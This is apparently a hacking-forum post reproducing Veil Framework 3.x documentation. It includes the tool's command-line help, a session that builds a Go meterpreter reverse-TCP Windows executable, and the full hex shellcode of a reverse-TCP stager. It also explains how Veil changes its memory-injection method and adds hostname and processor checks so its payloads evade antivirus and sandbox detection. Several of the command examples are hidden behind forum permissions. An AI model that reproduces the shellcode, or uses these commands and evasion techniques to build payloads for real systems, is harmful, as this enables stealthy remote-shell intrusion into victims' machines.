Python Based Veil Framework 3.1 (Evasion)

[MaskedUser]

Veil Options:
  --list-tools          List Veil's tools
  -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
  --update              Update the Veil framework
  --setup              Run the Veil framework setup file & regenerate the
                        configuration
  --config              Regenerate the Veil framework configuration file
  --version            Displays version and quits

[*]Callback Settings:
  --ip IP, --domain IP  IP address to connect back to
  --port PORT          Port number to connect to

[*]Payload Settings:
  --list-payloads      Lists all available payloads for that tool

[*]Veil-Evasion Options:
  -p [PAYLOAD]          Payload to generate
  -o OUTPUT-NAME        Output file base name for source and compiled binaries
  -c [OPTION=value [OPTION=value ...]]
                        Custom payload module options
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the specified metasploit payload
  --msfvenom []        Metasploit shellcode to generate (e.g.
                        windows/meterpreter/reverse_tcp etc.)
  --compiler pyinstaller
                        Compiler option for payload (currently only needed for
                        Python)
  --clean              Clean out payload folders

[*]Veil-Ordnance Shellcode Options:
  --ordnance-payload PAYLOAD
                        Payload type (bind_tcp, rev_tcp, etc.)

[*]Veil-Ordnance Encoder Options:
  --list-encoders      Lists all available encoders
  -e ENCODER, --encoder ENCODER
                        Name of shellcode encoder to use
  -b \x00\x0a.., --bad-chars \x00\x0a..
                        Bad characters to avoid
  --print-stats        Print information about the encoded shellcode
$
Veil Evasion CLI
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
                                  Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
                                  Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

[*]Language: go
[*]Payload Module: go/meterpreter/rev_tcp
[*]Executable written to: /var/lib/veil/output/compiled/payload.exe
[*]Source code written to: /var/lib/veil/output/source/payload.go
[*]Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
Veil Ordnance CLI
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
===============================================================================
                                  Veil-Ordnance
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

[*]Payload Name: Reverse TCP Stager (Stage 1)
[*]IP Address: 127.0.0.1
[*]Port: 4444
[*]Shellcode Size: 287

\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$



Since Veil’s 1.0 release, shellcode has been injected into memory the same way (largely across the industry). This is done over the following steps:



[*]Allocate memory with RWX (read, write, and execute) permissions to write shellcode into, and execute it
[*]Write the shellcode to the previously allocated memory
[*]Create a thread to execute the shellcode
[*]Wait for the shellcode to finish running (i.e. you exit Meterpreter or Beacon) before allowing the stager to exit

[*]However, RWX isn’t entirely “normal” and could potentially be seen as malicious by antivirus/sandbox engines. After talking with Casey (@subtee) about this, I decided to change how Veil injects shellcode into memory. As of Veil’s 3.1 release, almost none of Veil’s “shellcode_inject” stagers will make use of RWX memory.
Veil 3.1 will now allocate memory with RW permissions, to enable the stager to write shellcode into the allocated memory. After writing the shellcode to the allocated memory, the stager will call VirtualProtect to change the memory permissions from RW to RX. At this point, the stager will continue on to call CreateThread and WaitForSingleObject as normal. Sample code of this can be seen below:

Line 3 has changed from Veil 3.0 to 3.1. The final parameter passed into the VirtualAlloc call is 0x04 vs. 0x40 which specifically sets the memory to be ReadWrite. In line 5, the stager calls VirtualProtect, which changes the allocated memory to ReadExecute.
While this tweak is completely under the hood and will likely be transparent to you for nearly all use cases, hopefully small tweaks like this can help either now, or in the future.

Veil 3.0 Command Line Usage

Most Veil users will utilize Veil’s interactive menu to generate shellcode and/or Veil payloads. However, I expect while only a minority of users take advantage of the command line options, that they do so quite heavily. Therefore, I wanted to ensure that a command line interface exists for Veil in the event the user wants to script its usage (or for any other means). With Veil’s 3.0 release, some of the options are the same, but a few more command line options have been introduced to the tool, which I hope to explain here.
Ordnance
I’ll address how to use Ordnance within Veil all from the command line, this should (ideally) be fairly straightforward. In case you haven’t used Ordnance before, it is a tool that is used to quickly generate shellcode for a variety of payloads vs. relying on msfvenom to generate the shellcode for you.

Code:

The contents of this section are hidden

You have No permissions
[*]This command tells Veil to list all payloads (–list-payloads) for the tool Ordnance (-t Ordnance).

Code:

The contents of this section are hidden

You have No permissions
[*]This command tells Veil to list all encoders (–list-encoders) for the tool Ordnance (-t Ordnance).

Code:

The contents of this section are hidden

You have No permissions
[*]This command specifies to use Ordnance (-t Ordnance) and generate a reverse tcp payload (–ordnance-payload rev_tcp) which connects back to the ip 192.168.1.20 (–ip 192.168.1.20) on port 1234 (–port 1234).

Code:

The contents of this section are hidden

You have No permissions
[*]This command specifies to use Ordnance (-t Ordnance) and generates a reverse http payload which connects back to the ip 192.168.1.21 (–ip 192.168.1.21) on port 1235 (–port 1235). The command then further specifies that an xor encoder should be applied (-e xor) and the bad characters \x13\x98 should be avoided (-b \\x13\\x98).
Evasion
Let’s go over a couple commands and I’ll explain their components:

Code:

The contents of this section are hidden

You have No permissions
[*]This command tells Veil to list all payloads (–list-payloads) for the tool Evasion (-t Evasion).

Code:

The contents of this section are hidden

You have No permissions
[*]This command will actually generate an executable payload. It specifies that Evasion’s (-t Evasion) payload number 33 (-p 33) is selected by the user. For shellcode generation, use Ordnance’s rev_tcp payload (–ordnance-payload rev_tcp), and set the callback ip to 192.168.1.3 (–ip 192.168.1.3) and callback port to 8675 (–port 8675). Finally, name the output file christest (-o christest).
The main thing to note with this command is that it is using Ordnance for shellcode generation.

Code:

The contents of this section are hidden

You have No permissions
[*]This command is fairly similar to the above command, but relies on msfvenom for generating shellcode. The command states to use Evasion’s (-t Evasion) payload number 41 (-p 41) and to generate windows/meterpreter/reverse_tcp shellcode via msfvenom with the callback IP set to 192.168.1.4 (–ip 192.168.1.4) and callback port set to 8675 (–port 8675). Finally, it names the output file chris (-o chris).
Now, what if you want to specify some of the required options for a payload? Here’s your answer!

Code:

The contents of this section are hidden

You have No permissions
[*]This command specifies to use Evasion’s (-t Evasion) payload number 34 (-p 34) and have ordnance generate a reverse tcp payload (–ordnance-payload rev_tcp) with a callback IP set to 192.168.1.5 (–ip 192.168.1.5) with a callback port of 8677 (–port 8677). The output file is named chrisout (-o chrisout), and two checks are being specified. The payload will explicitly check to make sure the hostname of the system the payload is running on is “thegrid” (-c hostname=thegrid) and that there are at least two (2) processors on the system (processors=2). Yes, there is a space between hostname=thegrid and processors=2.
If you only wanted to check for the hostname, you would remove the processors=2 from the -c command (the command would now look like -c hostname=thegrid). Embedding basic checks, such as these, within your payload(s) can be useful when attempting to enumerate and avoid sandboxes.

Code:

The contents of this section are hidden

You have No permissions
[*]Ideally, this one is self-explanatory. If you’ve created multiple payloads and just want to remove all the compiled output, source code, handler files, and tracked hashes, run this command and Veil will remove everything. 

Veil 3.0 Release

The Veil Framework is a collection of tools designed for use during offensive security testing. When the time calls for it, FortyNorth Security will use the Veil-Framework to help achieve their objective.  The most commonly used tool is Veil-Evasion, which can turn an arbitrary script or piece of shellcode into a Windows executable that will evade detections by common antivirus products.
Veil 2.0 was made publicly available on June 17, 2013, and the core framework has remained largely unchanged since that date. There have been some modifications to the framework itself, but these have generally been minor in nature, with the majority of modifications involving the support of new programming languages and new payload modules.\
After spending a few years developing in Python, I revisited the Veil codebase and identified parts of the backend framework that could be developed more efficiently. Six months later, after refactoring the codebase and adding a large number of updates, I am happy to present Veil 3.0. The main menu is shown in Figure 1.

Figure 1: Veil 3 main menu
Python 3
First and foremost, one of the largest overhauls to Veil was updating the version of Python from Python 2 to Python 3. Python 2 is scheduled to reach end-of-life (EOL) in 2020, so it did not make much sense to spend time performing a large update to Veil in a language that will no longer be supported in three years.
Updating Veil from Python 2 to Python 3 was easily the most time-consuming part of creating Veil 3. Running the 2to3 tool was not an option; the conversion process required manual review for essentially all changes to Veil.
One of the major differences when developing Veil in Python 3 vs. Python 2 is how shellcode is handled and modified. To illustrates this issue, Figure 2 shows a Python 2-based stager that includes encrypted shellcode to be decrypted at runtime.

Figure 2: AES decrypting stager from Veil 2 in Python 2
While the code in Figure 2 works in Python 2, it will not work in Python 3. Specifically, in Python 3, the shellcode no longer needs to be string escaped into a bytearray after decryption. The output of Python 3’s decryption is the original clear text data in a bytearray, which is immediately consumable by the rest of the script. Figure 3 shows the Python 3 version of the same decryption stager.

Figure 3: AES decrypting stager from Veil 3 in Python 3
Ordnance
Early versions of Veil relied on the Metasploit Framework’s msfvenom tool to generate shellcode for Veil payloads. After the initial release of Veil, however, this caused a problem. The output for msfvenom changed and it completely broke Veil’s ability to process msfvenom output. After providing a patch to fix the issue, the Veil team decided that a different solution would be required instead of relying on a tool outside of our control.
Thus, Veil-Ordnance was developed and released in 2015. Veil-Ordnance is a tool that generates shellcode for use in Veil-Evasion stagers. Developing Veil-Ordnance had two main benefits:



[*]The Veil development team is in control of the output, preventing any future compatibility issues with Veil-Evasion.
[*]Shellcode generation is faster with Veil-Ordnance.

[*]Previously, Veil-Evasion and Veil-Ordnance were two separate tools. With the release of Veil 3.0, that is no longer the case, as shown in Figure 4.

Figure 4: Ordnance included in Veil 3.0
Veil 3.0 users still have the ability to use msfvenom to generate their shellcode, but they now also have the option to use Ordnance. Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listen on. Ordnance supports the most popular payload types:



[*]Reverse TCP
[*]Reverse HTTP
[*]Reverse HTTPS
[*]Reverse TCP DNS
[*]Reverse TCP All Ports
[*]Bind TCP

[*]This gives Veil users multiple options to choose from – they can stick with msfvenom, or use the new built-in tool, Ordnance.
Additional Languages
While Veil itself is written in Python, the processed payloads and output files can be in other programming languages. In Veil 3.0, two additional languages are now supported:


[*]AutoIt3
[*]Lua

[*]Lua payloads are only supported in a script format that must be compiled and run using a lua runtime, but Veil 3.0 running on Linux can compile AutoIt3 scripts into Windows executables. Veil 3.0 also supports the seven languages previously supported in version 2.0:


[*]Python
[*]PowerShell
[*]C
[*]C#
[*]Perl
[*]Ruby
[*]Golang

[*]Environmental Detection
Another new feature in Veil 3.0 is the ability to check information about the system where the Veil payload is running. This feature is useful for ensuring that shellcode is only executed on target systems and during the engagement timeframe. The stager performs these checks and will only inject and execute the embedded shellcode if the specified conditions are met. Figure 5 shows the options for this feature.

Figure 5: Environmental detection options
Users can specify one or more of the following checks for Veil stagers:


[*]The domain that the victim machine must be joined to.
[*]A date that the payload expires on.
[*]The hostname of the system running the payload.
[*]The minimum number of processors on the system running the payload.
[*]The required username running the payload.

[*]If specifying more than one check, all checks must be met; otherwise the stager will cease execution without executing the shellcode.

Code:

The contents of this section are hidden

You have No permissions

[MaskedUser]

Updated Yesterday upon my request to Chris being the source dev :

PHP Code:

The contents of this section are hidden 


You have No permissions